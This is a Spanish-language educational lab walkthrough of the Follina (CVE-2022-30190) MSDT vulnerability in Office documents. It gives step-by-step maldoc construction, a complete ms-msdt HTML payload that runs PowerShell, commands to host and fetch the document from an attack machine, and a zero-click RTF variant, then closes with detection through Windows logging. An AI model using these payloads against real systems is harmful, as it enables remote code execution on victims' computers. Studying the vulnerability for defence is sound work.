
Exploit educativo para CVE-2022-30190 (Follina) que demuestra la ejecución remota de código de MSDT mediante documentos de Office maliciosos, con orientación de detección y mitigación.
Microsoft explica que “existe una vulnerabilidad de ejecución remota de código cuando se llama a MSDT utilizando el protocolo URL desde una aplicación que realiza la llamada, como Word. Un atacante que explote esta vulnerabilidad con éxito puede ejecutar código arbitrario con los privilegios de la aplicación que realiza la llamada. El atacante puede entonces instalar programas, ver, cambiar o eliminar datos, o crear nuevas cuentas en el contexto permitido por los derechos del usuario”. (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft afirma que “la Herramienta de diagnóstico y soporte de Microsoft (MSDT) recopila información para enviarla al Soporte de Microsoft. Luego analizarán esta información y la utilizarán para determinar la resolución de cualquier problema que pueda estar experimentando en su computadora”. Con eso en mente, es esencialmente una forma para que el Soporte de Microsoft vea de inmediato qué está mal, ya que obtienen toda la información que necesitan directamente de la fuente.
Explicación del exploit
Comencemos con un descargo de responsabilidad: para nuestros propósitos, cargaremos nuestro payload a través de un documento de Word, particularmente en formato .docx; este es el exploit original que se ha descubierto en la naturaleza. Sin embargo, se ha demostrado que esta vulnerabilidad funciona en varios otros productos de Office.
Dos aspectos importantes de esta vulnerabilidad son: 1 - los archivos docx específicos contienen referencias a objetos OLE (originalmente abreviado como Object Linking and Embedding) y, a veces, adoptan la forma de archivos HTML alojados en otro lugar. 2 - MS-MSDT permite la ejecución de código.
Combinando los dos aspectos anteriores, se puede utilizar un esquema HTML de MS-MSDT para ejecutar código de PowerShell, y un archivo docx puede usarse para cargarlo mediante la capacidad de referencia externa de Word.
Más específicamente, al profundizar en la estructura del docx, el archivo word/_rels/document.xml.rels tiene una etiqueta XML <Relationship> con un atributo Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" que describe una referencia oleObject externa. Para explotar esta característica del docx, podemos editar el contenido de esta etiqueta para que apunte en su lugar al payload que estamos alojando, cambiando el valor Target a http://<external_payload_server.com>/<payload.html> y el valor TargetMode a "External".
En el archivo word/document.xml, hay una etiqueta XML que comienza con <o:OLEObject...> en la que debemos cambiar el valor Type a "Link" y luego agregar el atributo de par clave-valor UpdateMode="OnCall".
Lo único que queda por hacer ahora es alojar el payload al que se conectará el archivo de Word, y del que recibirá instrucciones al abrir el archivo. Esto se hace creando un archivo HTML con una estructura similar a la siguiente:
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
En el contenido anterior del archivo HTML, notará el comando ms-msdt:/id PCWDiagnostic /skip force /param, junto con los modificadores de comando que puede usar para establecer el comando que desea ejecutar en la máquina objetivo. Luego puede combinar y ajustar el payload según sus propósitos.
Por lo tanto, ahora tenemos una forma de lograr la ejecución remota de código sin tocar ninguna macro y, como veremos más adelante, incluso sin abrir el documento malicioso.
Enfoque del exploit disponible públicamente (https://github.com/JohnHammond/msdt-follina)
John Hammond ha creado una herramienta para automatizar el proceso de creación de un documento malicioso (maldoc) y, en consecuencia, alojar el archivo HTML malicioso que contiene el comando malicioso. La herramienta está documentada en el enlace anterior, y usaremos una versión bifurcada de la misma para comprender mejor el concepto del exploit mencionado anteriormente.
Abra una terminal, clone este repositorio y cambie su directorio de trabajo a donde se haya clonado el repositorio msdt-follina.
root@host:~/Follina-MSDT# python3 follina.py
Al ejecutar el exploit, el archivo ya debería estar alojado, por lo que está listo para ser “entregado” a la máquina víctima. Manteniendo abierta la terminal original, abra otra terminal e ingrese el siguiente comando para alojar los archivos en un servidor:
root@host:~/Follina-MSDT# python -m http.server 3456
En la máquina objetivo, abra un símbolo del sistema e ingrese el siguiente comando:
C:\Users\user> cd Desktop
C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
Esto descarga el maldoc en nuestra máquina y, como tal, poco después debería poder ver el archivo de Word llamado follina.docx aparecer en el Escritorio, listo para ejecutarse. Cuando esté listo, abra el archivo y observe qué sucede. Por ahora, permitamos que el maldoc y todo lo que generó sigan ejecutándose.
Implementación de "Zero Click"
Para replicar la implementación de “zero click” de esta vulnerabilidad, simplemente vamos al archivo de Word malicioso, agregamos un mensaje atractivo (completamente opcional), lo guardamos en el Formato de Texto Enriquecido (RTF) y listo. Esta implementación asume que la máquina de la víctima está en la vista de panel de vista previa; de lo contrario, revertirá a la funcionalidad original que aún se ejecutará al abrir el archivo.
Abra el explorador de archivos y navegue hasta la carpeta del Escritorio. Allí verá el archivo aparentemente inofensivo que creamos y que necesita un clic; proceda a hacer clic una vez, con cuidado de no abrirlo realmente, y observe qué sucede.
A pesar de no abrir realmente el archivo, el exploit se ejecutó de la misma manera que lo hizo anteriormente en este ejercicio. Esto sucedió debido a dos características clave: 1 - la función del Explorador de archivos para previsualizar archivos antes de abrirlos. 2 - el RTF, que permite que los archivos de documento puedan previsualizarse en el Explorador de archivos antes de abrirse (entre otros propósitos).
Combinar ambas y luego abusar de ellas resulta en un vector de ataque como el que acabamos de presenciar.
Detección y mitigación
Búsqueda de amenazas:
La máquina Windows que hemos utilizado para estudiar la explotación de la vulnerabilidad ha sido preconfigurada para tener habilitado el registro de:
Estos mecanismos de auditoría no están configurados de forma predeterminada y, por lo tanto, es imperativo que se activen en sus propios entornos para ayudar a detectar comportamientos sospechosos y mantener disponibles datos valiosos para los examinadores forenses.
Durante el proceso anterior, identificamos una serie de creaciones de procesos interesantes al explotar la vulnerabilidad. Estas creaciones de procesos se registran en los Registros de seguridad de Windows, listas para analizarse con su visor favorito o reenviarse a un recolector de registros centralizado para procesarlas y utilizarlas más adelante.
Para esta tarea usaremos el Event Log Viewer para Windows de Nirsoft para revisar las creaciones de procesos que identificamos anteriormente. Luego buscaremos detalles dentro de estas creaciones de procesos que podamos usar para buscar pistas en otros registros de eventos y explicar mejor lo que sucedió entre bastidores.